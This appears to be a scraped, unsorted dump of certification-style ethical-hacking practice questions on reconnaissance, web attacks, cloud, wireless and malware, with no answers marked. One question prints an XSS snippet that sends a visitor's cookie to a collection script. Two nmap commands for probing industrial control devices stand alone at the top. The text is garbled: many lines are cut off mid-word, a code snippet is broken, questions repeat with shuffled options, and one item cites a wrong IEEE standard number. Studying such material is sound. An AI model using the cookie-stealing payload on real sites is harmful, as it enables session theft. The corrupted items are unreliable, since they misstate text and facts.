nmap -Pn -sT -p 102 --script s7-info < Target IP >

nmap -Pn -sU -p 44818 --script enip-info < Target IP >

While browsing his Facebook feed, Matt sees a picture one of his friends posted with the caption, "Learn more ab your friends!", as well as a number of personal questions. Matt is suspicious and texts his friend, who confirms th he did indeed post it. With assurance that the post is legitimate, Matt responds to the questions on the post. A few days later, Matt's bank account has been accessed, and the password has been changed.
What most likely happened?

Matt's bank-account login information was brute forced.

Matt's computer was infected with a keylogger.

Matt inadvertently provided his password when responding to the post.

Matt inadvertently provided the answers to his security questions when responding to the post.

Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. Sh immediately calls a security expert, who discovers that the following code is hidden behind those images:
<script>
document.write(');
</script>
What issue occurred for the users who clicked on the image?

This php file silently executes the code and grabs the user's session cookie and session ID.

The code redirects the user to another site.

The code injects a new cookie to the browser.

The code is a virus that is attempting to gather the user's username and password.

This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to pro
sensitive data, such as GCMP-256, HMAC-SHA384, and ECDSA using a 384-bit elliptic curve.
Which is this wireless security protocol?

WPA3-Enterprise

WPA2-Enterprise

WPA2-Personal

WPA3-Personal

What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing) attack against an organizatio

The attacker queries a nameserver using the DNS resolver.

The attacker forges a reply from the DNS resolver.

The attacker makes a request to the DNS resolver.

The attacker uses TCP to poison the DNS resolver.

Alice, a professional hacker, targeted an organization's cloud services. She infiltrated the target's MSP provider b sending spear-phishing emails and distributed custom-made malware to compromise user accounts and gain rem access to the cloud service. Further, she accessed the target customer profiles with her MSP account, compresse the customer data, and stored them in the MSP. Then, she used this information to launch further attacks on the target organization.
Which of the following cloud attacks did Alice perform in the above scenario?

Man-in-the-cloud (MITC) attack

Cloud cryptojacking

Cloudborne attack

Cloud hopper attack

Richard, an attacker, targets an MNC. In this process, he uses a footprinting technique to gather as much informat as possible. Using this technique, he gathers domain information such as the target domain name, contact details its owner, expiry date, and creation date. With this information, he creates a map of the organization's network an misleads domain owners with social engineering to obtain internal details of its network.
What type of footprinting technique is employed by Richard?

VPN footprinting

Email footprinting

Whois footprinting

VoIP footprinting

Jason, an attacker, targeted an organization to perform an attack on its Internet-facing web server with the intentio of gaining access to backend servers, which are protected by a firewall. In this process, he used a URL https://xyz.com/feed.php?url=externalsite.com/feed/to to obtain a remote feed and altered the URL input to the loc host to view all the local resources on the target server.
What is the type of attack Jason performed in the above scenario?

Web cache poisoning attack

Web server misconfiguration

Website defacement

Server-side request forgery (SSRF) attack

Which iOS jailbreaking technique patches the kernel during the device boot so that it becomes jailbroken after eac successive reboot?

Semi-tethered Jailbreaking

Semi-untethered Jailbreaking

Untethered jailbreaking

Tethered jailbreaking

Which of the following information security controls creates an appealing isolated environment for hackers t prevent them from compromising critical targets while simultaneously gathering information about the hack

Honeypot

Firewall

Intrusion detection system

Botnet

What would be the fastest way to perform content enumeration on a given web server by using the Gobuster tool?

Skipping SSL certificate verification

Performing content enumeration using the bruteforce mode and random file extensions

Performing content enumeration using a wordlist

Performing content enumeration using the bruteforce mode and 10 threads

Louis, a professional hacker, had used specialized tools or search engines to encrypt all his browsing activi and navigate anonymously to obtain sensitive/hidden information about official government or federal databases. After gathering the information, he successfully performed an attack on the target government organization without being traced.
Which of the following techniques is described in the above scenario?

VPN footprinting

VoIP footprinting

Dark web footprinting

Website footprinting

Nicolas just found a vulnerability on a public-facing system that is considered a zero-day vulnerability. He se an email to the owner of the public system describing the problem and how the owner can protect themselve from that vulnerability. He also sent an email to Microsoft informing them of the problem that their systems a exposed to.
What type of hacker is Nicolas?

White hat

Red hat

Black hat

Gray hat

Ethical hacker Jane Smith is attempting to perform an SQL injection attack. She wants to test the response t of a true or false response and wants to use a second command to determine whether the database will retu true or false results for user IDs.
Which two SQL injection types would give her the results she is looking for?

Time-based and boolean-based

Out of band and boolean-based

Time-based and union-based

Union-based and error-based

Clark is a professional hacker. He created and configured multiple domains pointing to the same host to swi quickly between the domains and avoid detection.

Identify the behavior of the adversary in the above scenario.

Use of DNS tunneling

Use of command-line interface

Unspecified proxy activities

Data staging

Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. H installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used th virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an activ session. Upon receiving the user's request, Bobby manipulated the traffic with the virtual tower and redirect the victim to a malicious website.
What is the attack performed by Bobby in the above scenario?

KRACK attack

Jamming signal attack

aLTEr attack

Wardriving

Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other resources that run independently from other processes in the cloud environment. For the containerization of applica he follows the five-tier container technology architecture. Currently, Abel is verifying and validati image contents, signing images, and sending them to the registries.
Which of the following tiers of the container technology architecture is Abel currently working in?

Tier-2: Testing and accreditation systems

Tier-1: Developer machines

Tier-4: Orchestrators

Tier-3: Registries

Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:

```
<script>
document.write('<img src="https://localhost/submitcookie.php? cookie ='+
escape(document.cookie) + '" />);
</script>
```

What issue occurred for the users who clicked on the image?

The code injects a new cookie to the browser.

This php file silently executes the code and grabs the user's session cookie and session ID.

The code redirects the user to another site.

The code is a virus that is attempting to gather the user's username and password.

Which file is a rich target to discover the structure of a website during web-server footprinting?

index.html

domain.txt

Robots.txt

Document root

Sam is a penetration tester hired by Inception Tech, a security organization. He was asked to perform port scanning on a target host in the network. While performing the given task, Sam sends FIN/ACK probes and determines that an RST packet is sent in response by the target host, indicating that the port is closed.
What is the port scanning technique used by Sam to discover open ports?

ACK flag probe scan

Xmas scan

TCP Maimon scan

IDLE/IPID header scan

David is a security professional working in an organization, and he is implementing a vulnerability management program in the organization to evaluate and control the risks and vulnerabilities in its IT infrastructure. He is currently executing the process of applying fixes on vulnerable systems to reduce the impact and severity of vulnerabilities.
Which phase of the vulnerability-management life cycle is David currently in?

Verification

Remediation

Vulnerability scan

Risk assessment

Nicolas just found a vulnerability on a public-facing system that is considered a zero-day vulnerability. He sent an email to the owner of the public system describing the problem and how the owner can protect themselves from that vulnerability. He also sent an email to Microsoft informing them of the problem that their systems are exposed to.
What type of hacker is Nicolas?

Gray hat

White hat

Black hat

Red hat

SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application.
Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker?

In-band SQLi

Union-based SQLi

Time-based blind SQLi

Out-of-band SQLi

You are a penetration tester working to test the user awareness of the employees of the client XYZ. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email.

Which stage of the cyber kill chain are you at?

Exploitation

Reconnaissance

Command and control

Weaponization

Nicolas just found a vulnerability on a public-facing system that is considered a

zero-day vulnerability. He sent an email to the owner of the public system describing the problem and how the owner can protect themselves from that vulnerability. He also sent an email to Microsoft informing them of the problem that their systems are exposed to.
What type of hacker is Nicolas?

Gray hat

White hat

Black hat

Red hat

To invisibly maintain access to a machine, an attacker utilizes a rootkit that sits undetected in the core components of the operating system. What is this type of rootkit an example of?

Kernel rootkit

Hypervisor rootkit

Firmware rootkit

Hardware rootkit

You are a penetration tester working to test the user awareness of the employees of the client XYZ. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email.

Which stage of the cyber kill chain are you at?

Exploitation

Reconnaissance

Command and control

Weaponization

Which of the following information security controls creates an appealing isolated environment for hackers to prevent them from compromising critical targets while simultaneously gathering information about the hacker?

Botnet

Firewall

Honeypot

Intrusion detection system

Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session. Upon receiving the user's request, Bobby manipulated the traffic with the virtual tower and redirected the victim to a malicious website. What is the attack performed by Bobby in the above scenario?

Wardriving

Jamming signal attack

aLTEr attack

KRACK attack

Security administrator John Smith has noticed abnormal amounts of traffic coming from local computers at night. Upon reviewing, he finds that user data have been exfiltrated by an attacker. AV tools are unable to find any malicious software, and the IDS/IPS has not reported on any non-whitelisted programs. What type of malware did the attacker use to bypass the company's application whitelisting?

Zero-day malware

Phishing malware

Logic bomb malware

File-less malware

Jim, a professional hacker, targeted an organization that is operating critical industrial infrastructure. Jim used Nmap to scan open ports and running services on systems connected to the organization's OT network. He used an Nmap command to identify Ethernet/IP devices connected to the Internet and further gathered information such as the vendor name, product code and name, device name, and IP address.
Which of the following Nmap commands helped Jim retrieve the required information?

nmap -Pn -sU -p 44818 --script enip-info < Target IP >

nmap -Pn -sT -p 102 --script s7-info < Target IP >

nmap -Pn -sT --scan-delay 1s --max-parallelism 1 -p < Port List > < Target IP >

nmap -Pn -sT -p 46824 < Target IP >

Boney, a professional hacker, targets an organization for financial benefits. He performs an attack by sending his session ID using an MITM attack technique. Boney first obtains a valid session ID by logging into a service and later feeds the same session ID to the target employee. The session ID links the target employee to Boney's account page without disclosing any information to the victim. When the target employee clicks on the link, all the sensitive payment details entered in a form are linked to Boney's account.
What is the attack performed by Boney in the above scenario?

Session fixation attack

Forbidden attack

CRIME attack

Session donation attack

An attacker redirects the victim to malicious websites by sending them a malicious link by email. The link appears authentic but redirects the victim to a malicious web page, which allows the attacker to steal the victim's data. What type of attack is this?

Spoofing

Phishing

DDoS

Vishing

An organization is performing a vulnerability assessment for mitigating threats. James, a pen tester, scanned the organization by building an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server, or a database server. After identifying the services, he selected the vulnerabilities on each machine and started executing only the relevant tests.
What is the type of vulnerability assessment solution that James employed in the above scenario?

Inference-based assessment

Product-based solutions

Tree-based assessment

Service-based solutions

What is the file that determines the basic configuration (specifically activities, services, broadcast receivers, etc.) in an Android application?

AndroidManifest.xml

classes.dex

APK.info

resources.asrc

Sam is working as a system administrator in an organization. He captured the principal characteristics of a vulnerability and produced a numerical score to reflect its severity using CVSS v3.0 to properly assess and prioritize the organization's vulnerability management processes. The base score that Sam obtained after performing CVSS rating was 4.0.
What is the CVSS severity level of the vulnerability discovered by Sam in the above scenario?

Low

High

Medium

Critical

Jane, an ethical hacker, is testing a target organization's web server and website to identify security loopholes. In this process, she copied the entire website and its content on a local drive to view the complete profile of the site's directory structure, file structure, external links, images, web pages, and so on. This information helps Jane map the website's directories and gain valuable information.
What is the attack technique employed by Jane in the above scenario?

Website defacement

Session hijacking

Web cache poisoning

Website mirroring

An organization has automated the operation of critical infrastructure from a remote location. For this purpose, all the industrial control systems are connected to the Internet. To empower the manufacturing process, ensure the reliability of industrial networks, and reduce downtime and service disruption, the organization decided to install an OT security tool that further protects against security incidents such as cyber espionage, zero-day attacks, and malware. Which of the following tools must the organization employ to protect its critical infrastructure?

IntentFuzzer

Robotium

Flowmon

BalenaCloud

Attacker Rony installed a rogue access point within an organization's perimeter and attempted to intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack.
What is the type of vulnerability assessment performed by Johnson in the above scenario?

Application assessment

Distributed assessment

Host-based assessment

Wireless network assessment

What would be the fastest way to perform content enumeration on a given web server by using the Gobuster tool?

Skipping SSL certificate verification

Performing content enumeration using a wordlist

Performing content enumeration using the bruteforce mode and 10 threads

Performing content enumeration using the bruteforce mode and random file extensions

46. Richard, an attacker, targets an MNC. In this process, he uses a footprinting technique to gather as much information as possible. Using this technique, he gathers domain information such as the target domain name, contact details of its owner, expiry date, and creation date. With this information, he creates a map of the organization's network and misleads domain owners with social engineering to obtain internal details of its network.
What type of footprinting technique is employed by Richard?

VoIP footprinting

VPN footprinting

Email footprinting

Whois footprinting

Steve, an attacker, created a fake profile on a social media website and sent a request to Stella. Stella was enthralled by Steve's profile picture and the description given for his profile, and she initiated a conversation with him soon after accepting the request. After a few days, Steve started asking about her company details and eventually gathered all the

essential information regarding her company.
What is the social engineering technique Steve employed in the above scenario?

Diversion theft

Piggybacking

Baiting

Honey trap

Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes, images, and networks.
What is the component of the Docker architecture used by Annie in the above scenario?

Docker registries

Docker objects

Docker client

Docker daemon

George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial systems. In this process, he used a short-range communication protocol based on the IEEE 203.15.4 standard. This protocol is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10–100 m.
What is the short-range wireless communication technology George employed in the above

scenario?

LPWAN

NB-IoT

MQTT

Zigbee

You have been authorized to perform a penetration test against a website. You want to use Google dorks to footprint the site but only want results that show file extensions.
What Google dork operator would you use?

inurl

filetype

site

ext

A newly joined employee, Janet, has been allocated an existing system used by a previous employee. Before issuing the system to Janet, it was assessed by Martin, the administrator. Martin found that there were possibilities of compromise through user directories, registries, and other system parameters. He also identified vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors.
What is the type of vulnerability assessment performed by Martin?

Credentialed assessment

Database assessment

Host-based assessment

Distributed assessment

Answer

Steven connected his iPhone to a public computer that had been infected by Clark, an attacker. After establishing the connection with the public computer, Steven enabled iTunes Wi-Fi sync on the computer so that the device could continue communication with that computer even after being physically disconnected. Now, Clark gains access to Steven's iPhone through the infected computer and is able to monitor and read all of Steven's activity on the iPhone, even after the device is out of the communication zone.
Which of the following attacks is performed by Clark in the above scenario?

Exploiting SS7 vulnerability

Man-in-the-disk attack

iOS jailbreaking

iOS trustjacking

John, a professional hacker, performs a network attack on a renowned organization and gains unauthorized access to the target network. He remains in the network without being detected for a long time and obtains sensitive information without sabotaging the

organization.
Which of the following attack techniques is used by John?

Spear-phishing sites

Insider threat

Advanced persistent threat

Diversion theft

SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application.
Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker?

Union-based SQLi

Out-of-band SQLi

Time-based blind SQLi

In-band SQLi

There are multiple cloud deployment options depending on how isolated a customer's resources are from those of other customers. Shared environments share the costs and allow each customer to enjoy lower operations expenses. One solution is for a customer to join

with a group of users or organizations to share a cloud environment.
What is this cloud deployment option called?

Community

Public

Hybrid

Private

Jason, an attacker, targeted an organization to perform an attack on its Internet-facing web server with the intention of gaining access to backend servers, which are protected by a firewall. In this process, he used a URL https://xyz.com/feed.php?url=externalsite.com/feed/to to obtain a remote feed and altered the URL input to the local host to view all the local resources on the target server.
What is the type of attack Jason performed in the above scenario?

Web server misconfiguration

Server-side request forgery (SSRF) attack

Web cache poisoning attack

Website defacement

What piece of hardware on a computer's motherboard generates encryption keys and only releases a part of the key so that decrypting a disk on a new piece of hardware is not

possible?

CPU

UEFI

GPU

TPM

Infecting a system with malware and using phishing to gain credentials to a system or web application are examples of which phase of the ethical hacking methodology?

Reconnaissance

Gaining access

Maintaining access

Scanning

If you send a TCP ACK segment to a known closed port on a firewall but it does not respond with an RST, what do you know about the firewall you are scanning?

It is a stateful firewall.

It is a non-stateful firewall.

There is no firewall in place.

This event does not tell you anything about the firewall.

This form of encryption algorithm is a symmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among the following is this encryption algorithm?

HMAC encryption algorithm

Blowfish encryption algorithm

Twofish encryption algorithm

IDEA

This wireless security protocol allows 192-bit minimum-strength security protocols and cryptographic tools to protect sensitive data, such as GCMP-256, HMAC-SHA384, and ECDSA using a 384-bit elliptic curve.
Which is this wireless security protocol?

WPA3-Personal

WPA2-Personal

WPA2-Enterprise

WPA3-Enterprise

You start performing a penetration test against a specific website and have decided to start from grabbing all the links from the main page.
What is the best Linux pipe to achieve your milestone?

wget https://site.com | grep "< a href=\"http" | grep "site.com"

wget https://site.com | cut –d “http”

curl -s https://site.com | grep "< a href=\"http" | grep "site.com" | cut -d "\"" -f 2

dirb https://site.com | grep “site”

Alice needs to send a confidential document to her coworker, Bryan. Their company has public key infrastructure set up. Therefore, Alice both encrypts the message and digitally signs it. Alice uses _____ to encrypt the message, and Bryan uses _____ to confirm the digital signature.

Bryan’s public key; Bryan’s public key

Bryan’s public key; Alice’s public key

Bryan’s private key; Alice’s public key

Alice’s public key; Alice’s public key

Answer

Ralph, a professional hacker, targeted Jane, who had recently bought new systems for her company. After a few days, Ralph contacted Jane while masquerading as a legitimate customer support executive, informing that her systems need to be serviced for proper functioning and that customer support will send a computer technician. Jane promptly replied positively. Ralph entered Jane's company using this opportunity and gathered sensitive information by scanning terminals for passwords, searching for important documents in desks, and rummaging bins.
What is the type of attack technique Ralph used on Jane?

Dumpster diving

Impersonation

Eavesdropping

Shoulder surfing

What is the file that determines the basic configuration (specifically activities, services, broadcast receivers, etc.) in an Android application?

resources.asrc

APK.info

AndroidManifest.xml

classes.dex

Bill is a network administrator. He wants to eliminate unencrypted traffic inside his company's network. He decides to setup a SPAN port and capture all traffic to the datacenter. He immediately discovers unencrypted traffic in port UDP 161.
What protocol is this port using and how can he secure that traffic?

RPC and the best practice is to disable RPC completely

SNMP and he should change it to SNMP V3

SNMP and he should change it to SNMP V2, which is encrypted

It is not necessary to perform any actions, as SNMP is not carrying important information.

Answer | Mark for review and Next

Samuel, a professional hacker, monitored and intercepted already established traffic between Bob and a host machine to predict Bob's ISN. Using this ISN, Samuel sent spoofed packets with Bob's IP address to the host machine. The host machine responded with a packet having an incremented ISN. Consequently, Bob's connection got hung, and Samuel was able to communicate with the host machine on behalf of Bob.
What is the type of attack performed by Samuel in the above scenario?

UDP hijacking

Forbidden attack

Blind hijacking

TCP/IP hijacking

Heather's company has decided to use a new customer relationship management tool. After performing the appropriate research, they decided to purchase a subscription to a cloud-hosted solution. The only administrative task that Heather will need to perform is the management of user accounts. The provider will take care of the hardware, operating system, and software administration including patching and monitoring. Which of the following is this type of solution?

IaaS

SaaS

PaaS

CaaS

Which of the following commands checks for valid users on an SMTP server?

CHK

RCPT

EXPN

VRFY

You are a penetration tester working to test the user awareness of the employees of the client XYZ. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email.
Which stage of the cyber kill chain are you at?

Command and control

Weaponization

Exploitation

Reconnaissance

The network users are complaining because their systems are slowing down. Further, every time they attempt to go to a website, they receive a series of pop-ups with advertisements. What type of malware have the systems been infected with?

Spyware

Virus

Trojan

Adware

Don, a student, came across a gaming app in a third-party app store and installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his

smartphone after installing the app.
What is the attack performed on Don in the above scenario?

Clickjacking

Agent Smith attack

SMS phishing attack

SIM card attack

Samuel a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSLv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.
Which of the following attacks can be performed by exploiting the above vulnerability?

DROWN attack

Padding oracle attack

Side-channel attack

DUHK attack

What firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?

Spoof source address scanning

Packet fragmentation scanning

Decoy scanning

Idle scanning

While browsing his Facebook feed, Matt sees a picture one of his friends posted with the caption, "Learn more about your friends!", as well as a number of personal questions. Matt is suspicious and texts his friend, who confirms that he did indeed post it. With assurance that the post is legitimate, Matt responds to the questions on the post. A few days later, Matt's bank account has been accessed, and the password has been changed.
What most likely happened?

Matt inadvertently provided his password when responding to the post.

Matt's computer was infected with a keylogger.

Matt's bank-account login information was brute forced.

Matt inadvertently provided the answers to his security questions when responding to the post.

Which type of virus can change its own code and then cipher itself multiple times as it replicates?

Tunneling virus

Encryption virus

Stealth virus

Cavity virus

Answer | Mark for review and Next

Taylor, a security professional, uses a tool to monitor her company's website, analyze the website's traffic, and track the geographical location of the users visiting the company's website.
Which of the following tools did Taylor employ in the above scenario?

Web-Stat

WebSite-Watcher

Webroot

WAFW00F

Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session. Upon receiving the user's request, Bobby manipulated the traffic with the virtual tower and redirected the victim to a malicious website.
What is the attack performed by Bobby in the above scenario?

aLTEr attack

KRACK attack

Jamming signal attack

Wardriving

Which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?

Bluejacking

Bluebugging

Bluesmacking

Bluesnarfing

Sam is a penetration tester hired by Inception Tech, a security organization. He was asked to perform port scanning on a target host in the network. While performing the given task, Sam sends FIN/ACK probes and determines that an RST packet is sent in response by the target host, indicating that the port is closed.
What is the port scanning technique used by Sam to discover open ports?

Xmas scan

IDLE/IPID header scan

ACK flag probe scan

TCP Maimon scan

Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found the contact number of sibertech.org and dialed the number, claiming himself to represent a technical support team from a vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical information to Johnson's machine.
What is the social engineering technique Steve employed in the above scenario?

Diversion theft

Phishing

Quid pro quo

Elicitation

A friend of yours tells you that he downloaded and executed a file that was sent to him by a coworker. Since the file did nothing when executed, he asks you for help because he suspects that he may have installed a trojan on his computer.
What tests would you perform to determine whether his computer is infected?

Use netstat and check for outgoing connections to strange IP addresses or domains.

Upload the file to VirusTotal.

Use ExifTool and check for malicious content.

You do not check; rather, you immediately restore a previous snapshot of the operating system.

A friend of yours tells you that he downloaded and executed a file that was sent to him by a coworker. Since the file did nothing when executed, he asks you for help because he suspects that he may have installed a trojan on his computer.
What tests would you perform to determine whether his computer is infected?

Use netstat and check for outgoing connections to strange IP addresses or domains.

Upload the file to VirusTotal.

Use ExifTool and check for malicious content.

You do not check; rather, you immediately restore a previous snapshot of the operating system.

Clark, a professional hacker, was hired by an organization to gather sensitive information about its competitors surreptitiously. Clark gathers the server IP address of the target organization using Whois footprinting. Further, he entered the server IP address as an input to an online tool to retrieve information such as the network range of the target organization and to identify the network topology and operating system used in the network.
What is the online tool employed by Clark in the above scenario?

DuckDuckGo

ARIN

Baidu

AOL

Which of the following information security controls creates an appealing isolated environment for hackers to prevent them from compromising critical targets while simultaneously gathering information about the hacker?

Firewall

Intrusion detection system

Honeypot

Botnet

Dorian is sending a digitally signed email to Polly. With which key is Dorian signing this message and how is Poly validating it?

Dorian is signing the message with his private key, and Poly will verify that the message came from Dorian by using Dorian's public key.

Dorian is signing the message with Poly's private key, and Poly will verify that the message came from Dorian by using Dorian's public key.

Dorian is signing the message with Poly's public key, and Poly will verify that the message came

from Dorian by using Dorian's public key.

Dorian is signing the message with his public key, and Poly will verify that the message came from Dorian by using Dorian's private key.

Bob, an attacker, has managed to access a target IoT device. He employed an online tool to gather information related to the model of the IoT device and the certifications granted to it. Which of the following tools did Bob employ to gather the above information?

EarthExplorer

search.com

FCC ID search

Google image search

Jane, an ethical hacker, is testing a target organization's web server and website to identify security loopholes. In this process, she copied the entire website and its content on a local drive to view the complete profile of the site's directory structure, file structure, external links, images, web pages, and so on. This information helps Jane map the website's directories and gain valuable information.
What is the attack technique employed by Jane in the above scenario?

Session hijacking

Website defacement

Web cache poisoning

Website mirroring

In the Common Vulnerability Scoring System (CVSS) v3.1 severity ratings, what range does medium vulnerability fall in?

3.0–6.9

4.0–6.9

3.9–6.9

4.0–6.0